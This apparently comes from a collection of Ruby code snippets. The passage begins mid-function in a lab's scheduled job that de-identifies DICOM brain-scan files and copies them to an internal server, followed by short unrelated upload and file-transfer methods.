# v_dicom_field_value_hash ={'0010,0030'=>'DOB'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob('/tmp/'+v_dir_target+'/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n \n Dir.glob('/tmp/'+v_dir_target+'/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n Dir.glob('/tmp/'+v_dir_target+'/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm)\n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n\n v_call = \"rsync -av /tmp/\"+v_dir_target+\" panda_user@\"+v_computer+\".dom.wisc.edu:\"+v_parent_dir_target \n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n v_call = \"rm -rf /tmp/\"+v_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n \n sql_dir_list = \"update cg_fjell_20140507 set dir_list ='\"+v_folder_array.join(',')+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_dir_list)\n\n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.goveas_target_path\n\n # problem that files are on \"+v_computer+\", but panda running from nelson\n # need to ssh to \"+v_computer+\" as pand_admin, then sftp\n # v_source = \"panda_admin@\"+v_computer+\".dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_fjell_20140507 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish fjell_20140506_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n \n \n end",
"def filename\n File.join(%w{public finished-jobs},Digest::SHA1.hexdigest(url)+\".txt\")\n end",
"def download\n if Rails.env.production?\n redirect_to @upload.archive.expiring_url(10)\n else\n redirect_to @upload.archive.url\n end\n end",
"def run_goveas_20131031_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"goveas_20131031_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('goveas_20131031_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting goveas_20131031_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_computer = \"kanga\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_goveas_20131031\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI', 'T2','T2_Flair']\n v_series_description_category_id_array = [19, 17]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_goveas_20131031\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag = 'Y' or status_flag is NULL) \n and export_id is not null\" # and subjectid in ('mrt00097', 'pdt00034','pdt00035')\" # sending ppt with incomplete sets\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment_warning +\"; \"+v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (37,26,24) and scvg.scan_procedure_id in (\"+r[2].to_s+\")) \"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description)= LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI','T2','T2_Flair','T2+Flair') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n # for dual enrollments need ids path to get to unknown path/nii\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_actual_scan_procedure = v_dir_array[4]\n v_subjectid_date_actual =v_subjectid\n if v_dir_array[5] == \"mri\"\n v_subjectid_date_actual = v_dir_array[6]\n else\n v_subjectid_date_actual = v_dir_array[5] \n end\n v_subject_date_actual_array = v_subjectid_date_actual.split(\"_\")\n v_subjectid_actual = v_subject_date_actual_array[0]\n\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = v_actual_scan_procedure # ScanProcedure.find(r[2]).codename\n # check if nii file exists\n if !Dir.glob(v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\").empty?\n puts \"FOUND \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii \"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n # check if copied nii file is a directory -- found 2 exapmles\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'ls -dl \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n puts v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n v_return = stdout.read 1024 \n v_return_array = v_return.split(' ')\n if v_return_array[1] == \"2\"\n puts \" its a DIRECTORY!!!!!\"\n @schedulerun.comment = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n v_comment_warning = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii;\" +v_comment_warning\n end\n\n end\n stdin.close\n stdout.close\n stderr.close\n\n\n else\n # nii not exists\n @schedulerun.comment = \"MISSING \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n puts \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\"\n v_comment_warning = \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\" +v_comment_warning\n end \n \n end\n\n # get dti raw dicom for this subjectid/sp\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('DTI') \n and image_datasets.series_description != 'DTI whole brain 2mm FATSAT ASSET'\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_cnt = 1\n v_dir_target = \"\"\n v_scan_desc_type_array = []\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n puts \"aaaaaa v_dir_target = \"+v_dir_target\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_tmp = \"/tmp/\"+v_dir_target \n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n v_call = \"mise \"+v_path+\" \"+v_tmp \n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_dti/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n\n if v_scan_desc_type_array.size > 0 \nputs \"dddddd in ids dicoms\"\nputs \" /tmp dir = \"+\"/tmp/\"+v_dir_target+\"/*/*.* 0. 1. 2. *.dcm\" \n # TURN INTO A LOOP \n v_dicom_field_array =['0010,0030','0010,0010','0008,0050','0008,1030','0010,0020','0040,0254','0008,0080','0008,1010','0009,1002','0009,1030','0018,1000',\n '0025,101A','0040,0242','0040,0243']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name','0008,0050'=>'Accession Number',\n '0008,1030'=>'Study Description', '0010,0020'=>'Patient ID','0040,0254'=>'Performed Proc Step Desc',\n '0008,0080'=>'Institution Name','0008,1010'=>'Station Name','0009,1002'=>'Private',\n '0009,1030'=>'Private','0018,1000'=>'Device Serial Number','0025,101A'=>'Private',\n '0040,0242'=>'Performed Station Name','0040,0243'=>'Performed Location'}\n\n\n # v_dicom_field_array =['0010,0030']\n # v_dicom_field_value_hash ={'0010,0030'=>'DOB'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob('/tmp/'+v_dir_target+'/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n \n Dir.glob('/tmp/'+v_dir_target+'/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n Dir.glob('/tmp/'+v_dir_target+'/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm)\n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n\n v_call = \"rsync -av /tmp/\"+v_dir_target+\" panda_user@\"+v_computer+\".dom.wisc.edu:\"+v_parent_dir_target \n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n v_call = \"rm -rf /tmp/\"+v_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n\n # get dti from nagesh - FA, MD, L1, L2, L3 cg_dti_status -- only some processed - and registerred to a common space \n\n # get pib and rename\n # dvd in subject space , use rFS_r<enum>_realignPIB_DVR_HYPR.nii if exists, else use r<enum>_realignPIB_DVR_HYPR.nii\n # exceptions- pdt00038, pdt00129,pdt00137,pdt00161 - readme describes slices used\n\n # cg_dti_status only has visit1 -- now \n sql_dti = \"select distinct appointments.appointment_date, visits.id visit_id \n from vgroups , appointments, visits \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e, cg_dti_status where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"' \n and cg_dti_status.enrollment_id = e.id and dti_fa_flag = 'Y')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" ) \n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dti)\n v_dir_target = \"dti\"\n v_dti_array =[]\n results_dataset.each do |r_dataset|\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/modalities/dti/adluru_pipeline/\"\n v_dir_array = ['FA','MD','L1','L2','L3']\n v_file_name_hash ={'FA'=>'_combined_fa.nii','MD'=>'_combined_md.nii','L1'=>'_combined_L1.nii','L2'=>'_combined_L2.nii','L3'=>'_combined_L3.nii'}\n v_dir_array.each do |dir_name|\n v_dti_array.push('dti-'+dir_name)\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+dir_name+\"/\"+ v_subjectid+v_file_name_hash[dir_name]+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+v_file_name_hash[dir_name]+\" '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # some nii.gz\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+dir_name+\"/\"+ v_subjectid+v_file_name_hash[dir_name]+\".gz \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+v_file_name_hash[dir_name]+\".gz '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n end\n \n sql_dir_list = \"update cg_goveas_20131031 set dir_list ='\"+v_folder_array.join(',')+\",\"+v_dti_array.join(',')+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_dir_list)\n\n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.goveas_target_path\n\n # problem that files are on \"+v_computer+\", but panda running from nelson\n # need to ssh to \"+v_computer+\" as pand_admin, then sftp\n # v_source = \"panda_admin@\"+v_computer+\".dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_goveas_20131031 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish goveas_20131031_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n \n \n end",
"def upload(project, token)\n\n uri = URI.parse(\"https://pkghub.io/api/v1/upload\")\n n = Net::HTTP.new(uri.host, uri.port)\n n.use_ssl = true\n\n File.open(@path) do |package_file|\n req = Net::HTTP::Post::Multipart.new uri.path,\n \"token\" => token,\n \"project\" => project,\n \"distro\" => @distro,\n \"file\" => UploadIO.new(package_file, \"application/x-deb\", File.basename(@path))\n\n res = n.start do |http|\n http.request(req) \n end\n\n if res.code == \"200\"\n puts \"Success\"\n else\n raise \"Error uploading to pkghub.io API, code: #{res.code} body: #{res.body}\"\n end\n end\n\n end",
"def before_save\n # cwd: utunes_app\n logger.info(\"=======> before_save invoked!\")\n \n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n #\n # copy template folder\n #\n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n template_folder = bundle_folder + \"/\" + \"templates\"\n template_name = \"build_hc12_vnn\"\n template_fq_name = template_folder + \"/\" + template_name\n \n logger.info(\"cp -R #{template_fq_name} #{bundle_fq_name}\")\n logger.info( %x[cp -R #{template_fq_name} #{bundle_fq_name}] )\n \n #\n # move image files to new bundle script folder\n #\n images_folder = \"public/upload\"\n \n image_ls_name = \"hc12_ls.bin\"\n image_fq_ls_name = images_folder + \"/\" + image_ls_name\n \n image_hs_name = \"hc12_hs.bin\"\n image_fq_hs_name = images_folder + \"/\" + image_hs_name\n \n image_fq_ls_target = \"#{bundle_fq_name}/hc12_images/hc12ft.txt\"\n image_fq_hs_target = \"#{bundle_fq_name}/hc12_images/hc12hs.txt\"\n \n logger.info(\"mv #{image_fq_ls_name} #{image_fq_ls_target}\")\n logger.info( %x[mv #{image_fq_ls_name} #{image_fq_ls_target}] )\n \n logger.info(\"mv #{image_fq_hs_name} #{image_fq_hs_target}\")\n logger.info( %x[mv #{image_fq_hs_name} #{image_fq_hs_target}] )\n \n #\n # creation version file\n #\n File.open(bundle_fq_name+\"/hc12_images/version\", \"w\") do |verfile|\n verfile.printf(version_str)\n end\n \n end",
"def run_task(_task, _args)\n invoke(\"#{name}:upload\")\n end",
"def mark\n \"echo #{revision} > #{configuration[:deploy_release]}/REVISION\"\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n container, File.join(remote_path, remote_file), file\n )\n end\n end\n end",
"def updated_source_file; end",
"def upload_to_scribd\n ScribdFu::upload(self, file_path) if scribdable?\n end",
"def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"def run_hyunwoo_20140520_upload \n v_base_path = Shared.get_base_path()\n @schedule = Schedule.where(\"name in ('hyunwoo_20140520_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting hyunwoo_20140520_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_computer = \"kanga\"\n # table cg_hyunwoo_20140520 populated by pet with v1/v2 \n connection = ActiveRecord::Base.connection();\n # get adrc subjectid to upload\n sql = \"select distinct subjectid , scan_procedure_id from cg_hyunwoo_20140520 where done_flag ='N' and status_flag in ('Y','R') \"\n results = connection.execute(sql)\n # changed to series_description_maps table\n v_folder_array = Array.new\n v_scan_desc_type_array = Array.new\n # check for dir in /tmp\n v_target_dir =\"/tmp/hyunwoo_20140520_upload\"\n ###v_target_dir =\"/Volumes/Macintosh_HD2/hyunwoo_20140520_upload\"\n if !File.directory?(v_target_dir)\n v_call = \"mkdir \"+v_target_dir\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n v_comment = \" :list of subjectid \"+v_comment\n results.each do |r|\n v_comment = r[0]+\",\"+v_comment\n end\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n results.each do |r|\n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")+\"')\n and v.id in (select spvg.vgroup_id from scan_procedures_vgroups spvg where spvg.scan_procedure_id ='\"+r[1].to_s+\"')\"\n \n results_vgroup = connection.execute(sql_vgroup)\n\n # mkdir 